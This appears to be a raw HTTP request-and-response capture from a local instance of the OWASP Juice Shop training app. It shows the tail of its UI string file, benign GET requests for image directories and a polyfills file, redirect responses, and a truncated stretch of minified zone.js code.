"FEATURE_FLAG_DEFAULT_SCORE_BOARD_NAME": "Default Score Board",\n "FEATURE_FLAG_DEFAULT_SCORE_BOARD_DESCRIPTION": "Choose Score Board version to be linked in the sidebar",\n "FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_OLD": "Legacy Score Board",\n "FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_NEW": "New Score Board",\n "LINK_TRY_OUT_NEW_CRYPTO_WALLET": "Try out our new Crypto Wallet",\n "TITLE_CRYPTO_WALLET": "Crypto Wallet",\n "BTN_CONNECT_METAMASK": "Connect your MetaMask",\n "BTN_DEPOSIT": "Deposit",\n "BTN_WITHDRAW": "Withdraw",\n "ENTER_ETHER_AMOUNT": "Enter ether amount to deposit/withdraw",\n "PLEASE_INSTALL_WEB3_WALLET": "Please install a Web3 wallet like MetaMask to proceed.",\n "PLEASE_CONNECT_TO_SEPOLIA_NETWORK": "Please connect to the Sepolia Network.",\n "PLEASE_CONNECT_WEB3_WALLET": "Please connect your Web3 wallet first.",\n "TITLE_CONTRACT_EDITOR": "Contract Editor",\n "TITLE_WEB3_SANDBOX": "Web3 Code Sandbox",\n "EXPLANATION_SMART_CONTRACT_DEPLOYMENT": "Easily compile/deploy and invoke smart contracts from below",\n "EXPLANATION_GWEI_VALUE_POST_COMPILATION": "You can pass ETH to the contract both while invoking/deploying by entering the GWEI Value post compilation",\n "LABEL_SELECT_COMPILER_VERSION": "Select compiler version",\n "BTN_COMPILE_CONTRACT": "Compile Contract",\n "TITLE_CONTRACT_DEPLOYMENT": "Contract to deploy",\n "LABEL_COMPILED_CONTRACTS": "Compiled Contracts",\n "GWEI_VALUE_FOR_SENDING_ETH": "GWEI value for sending ETH",\n "BTN_DEPLOY_SELECTED_CONTRACT": "Deploy selected Contract",\n "LABEL_CONTRACT_ADDRESS": "Contract Address",\n "TITLE_INTERACT_WITH_CONTRACT": "Interact with Contract",\n "BTN_INVOKE": "Invoke",\n "LABEL_OUTPUT_FOR": "Output for",\n "LABEL_OUTPUT": "Output",\n "TITLE_SBT": "Juicy Chatbot SBT",\n "BTN_SBT_NOTE": "Note: Never reveal your personal private keys and seed phrase to anyone",\n "LABEL_PRIVATE_KEY": "Enter Private Key",\n "BTN_AUTHENTICATE": "Authenticate",\n "LABEL_ACCOUNT_ADDRESS": "Account Address",\n "OWNED_BY": "Owned by",\n "NFT_SBT_BOX_TEXT": "Hurray! Find the Juice Shop SBT on {{link}}. This is a non-transferable token and is here to stay forever.",\n "FAUCET_BALANCE": "Faucet Balance",\n "BEE_BALANCE": "Your BEE Balance",\n "TITLE_BEE_HAVEN": "BEE Haven",\n "BEE_HAVEN_INTRO": "Welcome to Bee Haven, the hive of BEE tokens! Immerse yourself in the buzz as our generous Bee Owner shares the joy of bees with you. Embrace their bountiful generosity, but remember, taking too many bees at once may disrupt their harmonious abode.",\n "LABEL_NUMBER_OF_BEES": "Enter no. of BEEs:",\n "BTN_CLAIM_BEES": "Claim BEEs",\n "BEE_HONEYPOT_TITLE": "The Enchanted Honey Pot",\n "BEE_HONEYPOT_DESCRIPTION": "Deep within the magical realm, the Enchanted Honey Pot awaits its rightful owner. To unlock its wonders, you must trade the essence of the buzzing kingdom - BEE tokens. Gather these mystical tokens from the generous Bee Haven.",\n "NFT_MINT_TEXT_INTRO": "Mint the Pot - 1000 BEE",\n "NFT_MINT_TEXT_SUCCESS": "Minted Successfully",\n "NFT_MINT_TEXT_AWAITING_APPROVAL": "Awaiting Approval",\n "NFT_MINT_TEXT_CONFIRM": "Confirm Mint...",\n "NFT_MINT_TEXT_IN_PROGRESS": "Mint in Process..."\n}\n'
GET http://localhost:3000/assets/public/images HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 207\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/public/images/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/public/images/">/assets/public/images/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/public/images/products HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 225\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/public/images/products/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/public/images/products/">/assets/public/images/products/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/polyfills.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"d4e9-18df12a3c67"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[429],{7435:(o,h,t)=>{t(2722),t(7181),window.global=window},7181:()=>{!function(n){const c=n.performance;function v(rt){c&&c.mark&&c.mark(rt)}function f(rt,M){c&&c.measure&&c.measure(rt,M)}v("Zone");const y=n.__Zone_symbol_prefix||"__zone_symbol__";function b(rt){return y+rt}const A=!0===n[b("forceDuplicateZoneCheck")];if(n.Zone){if(A||"function"!=typeof n.Zone.__symbol__)throw new Error("Zone already loaded.");return n.Zone}let k=(()=>{class rt{constructor(r,l){this._parent=r,this._name=l?l.name||"unnamed":"<root>",this._properties=l&&l.properties||{},this._zoneDelegate=new U(this,this._parent&&this._parent._zoneDelegate,l)}static assertZonePatched(){if(n.Promise!==Ct.ZoneAwarePromise)throw new Error("Zone.js has detected that ZoneAwarePromise `(window|global).Promise` has been overwritten.\\nMost likely cause is that a Promise polyfill has been loaded after Zone.js (Polyfilling Promise api is not necessary when zone.js is loaded. If you must load one, do so before loading zone.js.)")}static get root(){let r=rt.current;for(;r.parent;)r=r.parent;return r}static get current(){return dt.zone}static get currentTask(){return xt}static __load_patch(r,l,H=!1){if(Ct.hasOwnProperty(r)){if(!H&&A)throw Error("Already loaded patch: "+r)}else if(!n["__Zone_disable_"+r]){const J="Zone:"+r;v(J),Ct[r]=l(n,rt,Et),f(J,J)}}get parent(){return this._parent}get name(){return this._name}get(r){const l=this.getZoneWith(r);if(l)return l._properties[r]}getZoneWith(r){let l=this;for(;l;){if(l._properties.hasOwnProperty(r))return l;l=l._parent}return null}fork(r){if(!r)throw new Error("ZoneSpec required!");return this._zoneDelegate.fork(this,r)}wrap(r,l){if("function"!=typeof r)throw new Error("Expecting function got: "+r);const H=this._zoneDelegate.intercept(this,r,l),J=this;return function(){return J.runGuarded(H,this,arguments,l)}}run(r,l,H,J){dt={parent:dt,zone:this};try{return this._zoneDelegate.invoke(this,r,l,H,J)}finally{dt=dt.parent}}runGuarded(r,l=null,H,J){dt={parent:dt,zone:this};try{try{return this._zoneDelegate.invoke(this,r,l,H,J)}catch(Tt){if(this._zoneDelegate.handleError(this,Tt))throw Tt}}finally{dt=dt.parent}}runTask(r,l,H){if(r.zone!=this)throw new Error("A task can only be run in the zone of creation! (Creation: "+(r.zone||gt).name+"; Execution: "+this.name+")");if(r.state===ct&&(r.type===bt||r.type===W))return;const J=r.state!=Z;J&&r._transitionTo(Z,at),r.runCount++;const Tt=xt;xt=r,dt={parent:dt,zone:this};try{r.type==W&&r.data&&!r.data.isPeriodic&&(r.cancelFn=void 0);try{return this._zoneDelegate.invokeTask(this,r,l,H)}catch(P){if(this._zoneDelegate.handleError(this,P))throw P}}finally{r.state!==ct&&r.state!==j&&(r.type==bt||r.data&&r.data.isPeriodic?J&&r._transitionTo(at,Z):(r.runCount=0,this._updateTaskCount(r,-1),J&&r._transitionTo(ct,Z,ct))),dt=dt.parent,xt=Tt}}scheduleTask(r){if(r.zone&&r.zone!==this){let H=this;for(;H;){if(H===r.zone)throw Error(`can not reschedule task to ${this.name} which is descendants of the original zone ${r.zone.name}`);H=H.parent}}r._transitionTo(yt,ct);const l=[];r._zoneDelegates=l,r._zone=this;try{r=this._zoneDelegate.scheduleTask(this,r)}catch(H){throw r._transitionTo(j,yt,ct),this._zoneDelegate.handleError(this,H),H}return r._zoneDelegates===l&&this._updateTaskCount(r,1),r.state==yt&&r._transitionTo(at,yt),r}scheduleMicroTask(r,l,H,J){return this.scheduleTask(new F(nt,r,l,H,J,void 0))}scheduleMacroTask(r,l,H,J,Tt){return this.scheduleTask(new F(W,r,l,H,J,Tt))}scheduleEventTask(r,l,H,J,Tt){return this.scheduleTask(new F(bt,r,l,H,J,Tt))}cancelTask(r){if(r.zone!=this)throw new Error("A task can only be cancelled in the zone of creation! (Creation: "+(r.zone||gt).name+"; Execution: "+this.name+")");r._transitionTo(ut,at,Z);try{this._zoneDelegate.cancelTask(this,r)}catch(l){throw r._transitionTo(j,ut),this._zoneDelegate.handleError(this,l),l}return this._updateTaskCount(r,-1),r._transitionTo(ct,ut),r.runCount=0,r}_updateTaskCount(r,l){const H=r._zoneDelegates;-1==l&&(r._zoneDelegates=null);for(let J=0;J<H.length;J++)H[J]._updateTaskCount(r.type,l)}}return rt.__symbol__=b,rt})();const V={name:"",onHasTask:(rt,M,r,l)=>rt.hasTask(r,l),onScheduleTask:(rt,M,r,l)=>rt.scheduleTask(r,l),onInvokeTask:(rt,M,r,l,H,J)=>rt.invokeTask(r,l,H,J),onCancelTask:(rt,M,r,l)=>rt.cancelTask(r,l)};class U{constructor(M,r,l){this._taskCounts={microTask:0,macroTask:0,eventTask:0},this.zone=M,this._parentDelegate=r,this._forkZS=l&&(l&&l.onFork?l:r._forkZS),this._forkDlgt=l&&(l.onFork?r:r._forkDlgt),this._forkCurrZone=l&&(l.onFork?this.zone:r._forkCurrZone),this._interceptZS=l&&(l.onIntercept?l:r._interceptZS),this._interceptDlgt=l&&(l.onIntercept?r:r._interceptDlgt),this._interceptCurrZone=l&&(l.onIntercept?this.zone:r._interceptCurrZone),this._invokeZS=l&&(l.onInvoke?l:r._invokeZS),this._invokeDlgt=l&&(l.onInvoke?r:r._invokeDlgt),this._invokeCurrZone=l&&(l.onInvoke?this.zone:r._invokeCurrZone),this._handleErrorZS=l&&(l.onHandleError?l:r._handleErrorZS),this._handleErrorDlgt=l&&(l.onHandleError?r:r._handleErrorDlgt),this._handleErrorCurrZone=l&&(l.onHandleError?this.zone:r._handleErrorCurrZone),this._scheduleTaskZS=l&&(l.onScheduleTask?l:r._scheduleTaskZS),this._scheduleTaskDlgt=l&&(l.onScheduleTask?r:r._scheduleTaskDlgt),this._scheduleTaskCurrZone=l&&(l.onScheduleTask?this.zone:r._scheduleTaskCurrZone),this._invokeTaskZS=l&&(l.onInvokeTask?l:r._invokeTaskZS),this._invokeTaskDlgt=l&&(l.onInvokeTask?r:r._invokeTaskDlgt),this._invokeTaskCurrZone=l&&(l.onInvokeTask?this.zone:r._invokeTaskCurrZone),this._cancelTaskZS=l&&(l.onCancelTask?l:r._cancelTaskZS),this._cancelTaskDlgt=l&&(l.onCancelTask?r:r._cancelTaskDlgt),this._cancelTaskCurrZone=l&&(l.onCancelTask?this.zone:r._cancelTaskCurrZone),this._hasTaskZS=null,this._hasTaskDlgt=null,this._hasTaskDlgtOwner=null,this._hasTaskCurrZone=null;const H=l&&l.onHasTask;(H||r&&r._hasTaskZS)&&(this._hasTaskZS=H?l:V,this._hasTaskDlgt=r,this._hasTaskDlgtOwner=this,this._hasTaskCurrZone=M,l.onScheduleTask||(this._scheduleTaskZS=V,this._scheduleTaskDlgt=r,this._scheduleTaskCurrZone=this.zone),l.onInvokeTask||(this._invokeTaskZS=V,this._invokeTaskDlgt=r,this._invokeTaskCurrZone=this.zone),l.onCancelTask||(this._cancelTaskZS=V,this._cancelTaskDlgt=r,this._cancelTaskCurrZone=this.zone))}fork(M,r){return this._forkZS?this._forkZS.onFork(this._forkDlgt,this.zone,M,r):new k(M,r)}intercept(M,r,l){return this._interceptZS?this._interceptZS.onIntercept(this._interceptDlgt,this._interceptCurrZone,M,r,l):r}invoke(M,r,l,H,J){return this._invokeZS?this._invokeZS.onInvoke(this._invokeDlgt,this._invokeCurrZone,M,r,l,H,J):r.apply(l,H)}handleError(M,r){return!this._handleErrorZS||this._handleErrorZS.onHandleError(this._handleErrorDlgt,this._handleErrorCurrZone,M,r)}scheduleTask(M,r){let l=r;if(this._scheduleTaskZS)this._hasTaskZS&&l._zoneDelegates.push(this._hasTaskDlgtOwner),l=this._scheduleTaskZS.onScheduleTask(this._scheduleTaskDlgt,this._scheduleTaskCurrZone,M,r),l||(l=r);else if(r.scheduleFn)r.scheduleFn(r);else{if(r.type!=nt)throw new Error("Task is missing scheduleFn.");Y(r)}return l}invokeTask(M,r,l,H){return this._invokeTaskZS?this._invokeTaskZS.onInvokeTask(this._invokeTaskDlgt,this._invokeTaskCurrZone,M,r,l,H):r.callback.apply(l,H)}cancelTask(M,r){let l;if(this._cancelTaskZS)l=this._cancelTaskZS.onCancelTask(this._cancelTaskDlgt,this._cancelTaskCurrZone,M,r);else{if(!r.cancelFn)throw Error("Task is not cancelable");l=r.cancelFn(r)}return l}hasTask(M,r){try{this._hasTaskZS&&this._hasTaskZS.onHasTask(this._hasTaskDlgt,this._hasTaskCurrZone,M,r)}catch(l){this.handleError(M,l)}}_updateTaskCount(M,r){const l=this._taskCounts,H=l[M],J=l[M]=H+r;if(J<0)throw new Error("More tasks executed then were scheduled.");0!=H&&0!=J||this.hasTask(this.zone,{microTask:l.microTask>0,macroTask:l.macroTask>0,eventTask:l.eventTask>0,change:M})}}class F{constructor(M,r,l,H,J,Tt){if(this._zone=null,this.runCount=0,this._zoneDelegates=null,this._state="notScheduled",this.type=M,this.source=r,this.data=H,this.scheduleFn=J,this.cancelFn=Tt,!l)throw new Error("callback is not defined");this.callback=l;const P=this;this.invoke=M===bt&&H&&H.useG?F.invokeTask:function(){return F.invokeTask.call(n,P,this,arguments)}}static invokeTask(M,r,l){M||(M=this),Pt++;try{return M.runCount++,M.zone.runTask(M,r,l)}finally{1==Pt&&N(),Pt--}}get zone(){return this._zone}get state(){return this._state}cancelScheduleRequest(){this._transitionTo(ct,yt)}_transitionTo(M,r,l){if(this._state!==r&&this._state!==l)throw new Error(`${this.type} \'${this.source}\': can not transition to \'${M}\', expecting state \'${r}\'${l?" or \'"+l+"\'":""}, was \'${this._state}\'.`);this._state=M,M==ct&&(this._zoneDelegates=null)}toString(){return this.data&&typeof this.data.handleId<"u"?this.data.handleId.toString():Object.prototype.toString.call(this)}toJSON(){return{type:this.type,state:this.state,source:this.source,zone:this.zone.name,runCount:this.runCount}}}const ot=b("setTimeout"),tt=b("Promise"),et=b("then");let mt,ht=[],it=!1;function pt(rt){if(mt||n[tt]&&(mt=n[tt].resolve(0)),mt){let M=mt[et];M||(M=mt.then),M.call(mt,rt)}else n[ot](rt,0)}function Y(rt){0===Pt&&0===ht.length&&pt(N),rt&&ht.push(rt)}function N(){if(!it){for(it=!0;ht.length;){const rt=ht;ht=[];for(let M=0;M<rt.length;M++){const r=rt[M];try{r.zone.runTask(r,null,null)}catch(l){Et.onUnhandledError(l)}}}Et.microtaskDrainDone(),it=!1}}const gt={name:"NO ZONE"},ct="notScheduled",yt="scheduling",at="scheduled",Z="running",ut="canceling",j="unknown",nt="microTask",W="macroTask",bt="eventTask",Ct={},Et={symbol:b,currentZoneFrame:()=>dt,onUnhandledError:vt,microtaskDrainDone:vt,scheduleMicroTask:Y,showUncaughtError:()=>!k[b("ignoreConsoleErrorUncaughtError")],patchEventTarget:()=>[],patchOnProperties:vt,patchMethod:()=>vt,bindArguments:()=>[],patchThen:()=>vt,patchMacroTask:()=>vt,patchEventPrototype:()=>vt,isIEOrEdge:()=>!1,getGlobalObjects:()=>{},ObjectDefineProperty:()=>vt,ObjectGetOwnPropertyDescriptor:()=>{},ObjectCreate:()=>{},ArraySlice:()=>[],patchClass:()=>vt,wrapWithCurrentZone:()=>vt,filterProperties:()=>[],attachOriginToPatched:()=>vt,_redefineProperty:()=>vt,patchCallbacks:()=>vt,nativeScheduleMicroTask:pt};let dt={parent:null,zone:new k(null,null)},xt=null,Pt=0;function vt(){}f("Zone","Zone"),n.Zone=k}(typeof window<"u"&&window||typeof self<"u"&&self||global);const o=Object.getOwnPropertyDescriptor,h=Object.defineProperty,t=Object.getPrototypeOf,e=Object.create,s=Array.prototype.slice,a="addEventListener",i="removeEventListener",u=Zone.__symbol__(a),E=Zone.__symbol__(i),p="true",T="false",O=Zone.__symbol__("");function m(n,c){return Zone.current.wrap(n,c)}function R(n,c,v,f,y){return Zone.current.scheduleMacroTask(n,c,v,f,y)}const g=Zone.__symbol__,D=typeof window<"u",w=D?window:void 0,C=D&&w||"object"==typeof self&&self||global,X="removeAttribute";function B(n,c){for(let v=n.length-1;v>=0;v--)"function"==typeof n[v]&&(n[v]=m(n[v],c+"_"+v));return n}function I(n){return!n||!1!==n.writable&&!("function"==typeof n.get&&typeof n.set>"u")}const K=typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope,st=!("nw"in C)&&typeof C.process<"u"&&"[object process]"==={}.toString.call(C.process),Ot=!st&&!K&&!(!D||!w.HTMLElement),Mt=typeof C.process<"u"&&"[object process]"==={}.toString.call(C.process)&&!K&&!(!D||!w.HTMLElement),Bt={},Kt=function(n){if(!(n=n||C.event))return;let c=Bt[n.type];c||(c=Bt[n.type]=g("ON_PROPERTY"+n.type));const v=this||n.target||C,f=v[c];let y;return Ot&&v===w&&"error"===n.type?(y=f&&f.call(this,n.message,n.filename,n.lineno,n.colno,n.error),!0===y&&n.preventDefault()):(y=f&&f.apply(this,arguments),null!=y&&!y&&n.preventDefault()),y};function Yt(n,c,v){let f=o(n,c);if(!f&&v&&o(v,c)&&(f={enumerable:!0,configurable:!0}),!f||!f.configurable)return;const y=g("on"+c+"patched");if(n.hasOwnProperty(y)&&n[y])return;delete f.writable,delete f.value;const b=f.get,A=f.set,k=c.slice(2);let V=Bt[k];V||(V=Bt[k]=g("ON_PROPERTY"+k)),f.set=function(U){let F=this;!F&&n===C&&(F=C),F&&("function"==typeof F[V]&&F.removeEventListener(k,Kt),A&&A.call(F,null),F[V]=U,"function"==typeof U&&F.addEventListener(k,Kt,!1))},f.get=function(){let U=this;if(!U&&n===C&&(U=C),!U)return null;const F=U[V];if(F)return F;if(b){let ot=b.call(this);if(ot)return f.set.call(this,ot),"function"==typeof U[X]&&U.removeAttribute(c),ot}return null},h(n,c,f),n[y]=!0}function Xt(n,c,v){if(c)for(let f=0;f<c.length;f++)Yt(n,"on"+c[f],v);else{const f=[];for(const y in n)"on"==y.slice(0,2)&&f.push(y);for(let y=0;y<f.length;y++)Yt(n,f[y],v)}}const Rt=g("originalInstance");function Ft(n){const c=C[n];if(!c)return;C[g(n)]=c,C[n]=function(){const y=B(arguments,n);switch(y.length){case 0:this[Rt]=new c;break;case 1:this[Rt]=new c(y[0]);break;case 2:this[Rt]=new c(y[0],y[1]);break;case 3:this[Rt]=new c(y[0],y[1],y[2]);break;case 4:this[Rt]=new c(y[0],y[1],y[2],y[3]);break;default:throw new Error("Arg list too long.")}},wt(C[n],c);const v=new c(function(){});let f;for(f in v)"XMLHttpRequest"===n&&"responseBlob"===f||function(y){"function"==typeof v[y]?C[n].prototype[y]=function(){return this[Rt][y].apply(this[Rt],arguments)}:h(C[n].prototype,y,{set:function(b){"function"==typeof b?(this[Rt][y]=m(b,n+"."+y),wt(this[Rt][y],b)):this[Rt][y]=b},get:function(){return this[Rt][y]}})}(f);for(f in c)"prototype"!==f&&c.hasOwnProperty(f)&&(C[n][f]=c[f])}function jt(n,c,v){let f=n;for(;f&&!f.hasOwnProperty(c);)f=t(f);!f&&n[c]&&(f=n);const y=g(c);let b=null;if(f&&(!(b=f[y])||!f.hasOwnProperty(y))&&(b=f[y]=f[c],I(f&&o(f,c)))){const k=v(b,y,c);f[c]=function(){return k(this,arguments)},wt(f[c],b)}return b}function ue(n,c,v){let f=null;function y(b){const A=b.data;return A.args[A.cbIdx]=function(){b.invoke.apply(this,arguments)},f.apply(A.target,A.args),b}f=jt(n,c,b=>function(A,k){const V=v(A,k);return V.cbIdx>=0&&"function"==typeof k[V.cbIdx]?R(V.name,k[V.cbIdx],V,y):b.apply(A,k)})}function wt(n,c){n[g("OriginalDelegate")]=c}let Jt=!1,$t=!1;function fe(){if(Jt)return $t;Jt=!0;try{const n=w.navigator.userAgent;(-1!==n.indexOf("MSIE ")||-1!==n.indexOf("Trident/")||-1!==n.indexOf("Edge/"))&&($t=!0)}catch{}return $t}Zone.__load_patch("ZoneAwarePromise",(n,c,v)=>{const f=Object.getOwnPropertyDescriptor,y=Object.defineProperty,A=v.symbol,k=[],V=!0===n[A("DISABLE_WRAPPING_UNCAUGHT_PROMISE_REJECTION")],U=A("Promise"),F=A("then"),ot="__creationTrace__";v.onUnhandledError=P=>{if(v.showUncaughtError()){const S=P&&P.rejection;S?console.error("Unhandled Promise rejection:",S instanceof Error?S.message:S,"; Zone:",P.zone.name,"; Task:",P.task&&P.task.source,"; Value:",S,S instanceof Error?S.stack:void 0):console.error(P)}},v.microtaskDrainDone=()=>{for(;k.length;){const P=k.shift();try{P.zone.runGuarded(()=>{throw P.throwOriginal?P.rejection:P})}catch(S){et(S)}}};const tt=A("unhandledPromiseRejectionHandler");function et(P){v.onUnhandledError(P);try{const S=c[tt];"function"==typeof S&&S.call(this,P)}catch{}}function ht(P){return P&&P.then}function it(P){return P}function mt(P){return r.reject(P)}const pt=A("state"),Y=A("value"),N=A("finally"),gt=A("parentPromiseValue"),ct=A("parentPromiseState"),yt="Promise.then",at=null,Z=!0,ut=!1,j=0;function nt(P,S){return d=>{try{Et(P,S,d)}catch(x){Et(P,!1,x)}}}const W=function(){let P=!1;return function(d){return function(){P||(P=!0,d.apply(null,arguments))}}},bt="Promise resolved with itself",Ct=A("currentTaskTrace");function Et(P,S,d){const x=W();if(P===d)throw new TypeError(bt);if(P[pt]===at){let G=null;try{("object"==typeof d||"function"==typeof d)&&(G=d&&d.then)}catch($){return x(()=>{Et(P,!1,$)})(),P}if(S!==ut&&d instanceof r&&d.hasOwnProperty(pt)&&d.hasOwnProperty(Y)&&d[pt]!==at)xt(d),Et(P,d[pt],d[Y]);else if(S!==ut&&"function"==typeof G)try{G.call(d,x(nt(P,S)),x(nt(P,!1)))}catch($){x(()=>{Et(P,!1,$)})()}else{P[pt]=S;const $=P[Y];if(P[Y]=d,P[N]===N&&S===Z&&(P[pt]=P[ct],P[Y]=P[gt]),S===ut&&d instanceof Error){const L=c.currentTask&&c.currentTask.data&&c.currentTask.data[ot];L&&y(d,Ct,{configurable:!0,enumerable:!1,writable:!0,value:L})}for(let L=0;L<$.length;)Pt(P,$[L++],$[L++],$[L++],$[L++]);if(0==$.length&&S==ut){P[pt]=j;let L=d;try{throw new Error("Uncaught (in promise): "+function b(P){return P&&P.toString===Object.prototype.toString?(P.constructor&&P.constructor.name||"")+": "+JSON.stringify(P):P?P.toString():Object.prototype.toString.call(P)}(d)+(d&&d.stack?"\\n"+d.stack:""))}catch(Q){L=Q}V&&(L.throwOriginal=!0),L.rejection=d,L.promise=P,L.zone=c.current,L.task=c.currentTask,k.push(L),v.scheduleMicroTask()}}}return P}const dt=A("rejectionHandledHandler");function xt(P){if(P[pt]===j){try{const S=c[dt];S&&"function"==typeof S&&S.call(this,{rejection:P[Y],promise:P})}catch{}P[pt]=ut;for(let S=0;S<k.length;S++)P===k[S].promise&&k.splice(S,1)}}function Pt(P,S,d,x,G){xt(P);const $=P[pt],L=$?"function"==typeof x?x:it:"function"==typeof G?G:mt;S.scheduleMicroTask(yt,()=>{try{const Q=P[Y],_=!!d&&N===d[N];_&&(d[gt]=Q,d[ct]=$);const q=S.run(L,void 0,_&&L!==mt&&L!==it?[]:[Q]);Et(d,!0,q)}catch(Q){Et(d,!1,Q)}},d)}const rt=function(){},M=n.AggregateError;class r{static toString(){return"function ZoneAwarePromise() { [native code] }"}static resolve(S){return Et(new this(null),Z,S)}static reject(S){return Et(new this(null),ut,S)}static any(S){if(!S||"function"!=typeof S[Symbol.iterator])return Promise.reject(new M([],"All promises were rejected"));const d=[];let x=0;try{for(let L of S)x++,d.push(r.resolve(L))}catch{return Promise.reject(new M([],"All promises were rejected"))}if(0===x)return Promise.reject(new M([],"All promises were rejected"));let G=!1;const $=[];return new r((L,Q)=>{for(let _=0;_<d.length;_++)d[_].then(q=>{G||(G=!0,L(q))},q=>{$.push(q),x--,0===x&&(G=!0,Q(new M($,"All promises were rejected")))})})}static race(S){let d,x,G=new this((Q,_)=>{d=Q,x=_});function $(Q){d(Q)}function L(Q){x(Q)}for(let Q of S)ht(Q)||(Q=this.resolve(Q)),Q.then($,L);return G}static all(S){return r.allWithCallback(S)}static allSettled(S){return(this&&this.prototype instanceof r?this:r).allWithCallback(S,{thenCallback:x=>({status:"fulfilled",value:x}),errorCallback:x=>({status:"rejected",reason:x})})}static allWithCallback(S,d){let x,G,$=new this((q,lt)=>{x=q,G=lt}),L=2,Q=0;const _=[];for(let q of S){ht(q)||(q=this.resolve(q));const lt=Q;try{q.then(ft=>{_[lt]=d?d.thenCallback(ft):ft,L--,0===L&&x(_)},ft=>{d?(_[lt]=d.errorCallback(ft),L--,0===L&&x(_)):G(ft)})}catch(ft){G(ft)}L++,Q++}return L-=2,0===L&&x(_),$}constructor(S){const d=this;if(!(d instanceof r))throw new Error("Must be an instanceof Promise.");d[pt]=at,d[Y]=[];try{const x=W();S&&S(x(nt(d,Z)),x(nt(d,ut)))}catch(x){Et(d,!1,x)}}get[Symbol.toStringTag](){return"Promise"}get[Symbol.species](){return r}then(S,d){var x;let G=null===(x=this.constructor)||void 0===x?void 0:x[Symbol.species];(!G||"function"!=typeof G)&&(G=this.constructor||r);const $=new G(rt),L=c.current;return this[pt]==at?this[Y].push(L,$,S,d):Pt(this,L,$,S,d),$}catch(S){return this.then(null,S)}finally(S){var d;let x=null===(d=this.constructor)||void 0===d?void 0:d[Symbol.species];(!x||"function"!=typeof x)&&(x=r);const G=new x(rt);G[N]=N;const $=c.current;return this[pt]==at?this[Y].push($,G,S,S):Pt(this,$,G,S,S),G}}r.resolve=r.resolve,r.reject=r.reject,r.race=r.race,r.all=r.all;const l=n[U]=n.Promise;n.Promise=r;const H=A("thenPatched");function J(P){const S=P.prototype,d=f(S,"then");if(d&&(!1===d.writable||!d.configurable))return;const x=S.then;S[F]=x,P.prototype.then=function(G,$){return new r((Q,_)=>{x.call(this,Q,_)}).then(G,$)},P[H]=!0}return v.patchThen=J,l&&(J(l),jt(n,"fetch",P=>function Tt(P){return function(S,d){let x=P.apply(S,d);if(x instanceof r)return x;let G=x.constructor;return G[H]||J(G),x}}(P))),Promise[c.__symbol__("uncaughtPromiseErrors")]=k,r}),Zone.__load_patch("toString",n=>{const c=Function.prototype.toString,v=g("OriginalDelegate"),f=g("Promise"),y=g("Error"),b=function(){if("function"==typeof this){const U=this[v];if(U)return"function"==typeof U?c.call(U):Object.prototype.toString.call(U);if(this===Promise){const F=n[f];if(F)return c.call(F)}if(this===Error){const F=n[y];if(F)return c.call(F)}}return c.call(this)};b[v]=c,Function.prototype.toString=b;const A=Object.prototype.toString;Object.prototype.toString=function(){return"function"==typeof Promise&&this instanceof Promise?"[object Promise]":A.call(this)}});let Lt=!1;if(typeof window<"u")try{const n=Object.defineProperty({},"passive",{get:function(){Lt=!0}});window.addEventListener("test",n,n),window.removeEventListener("test",n,n)}catch{Lt=!1}const he={useG:!0},St={},Qt={},_t=new 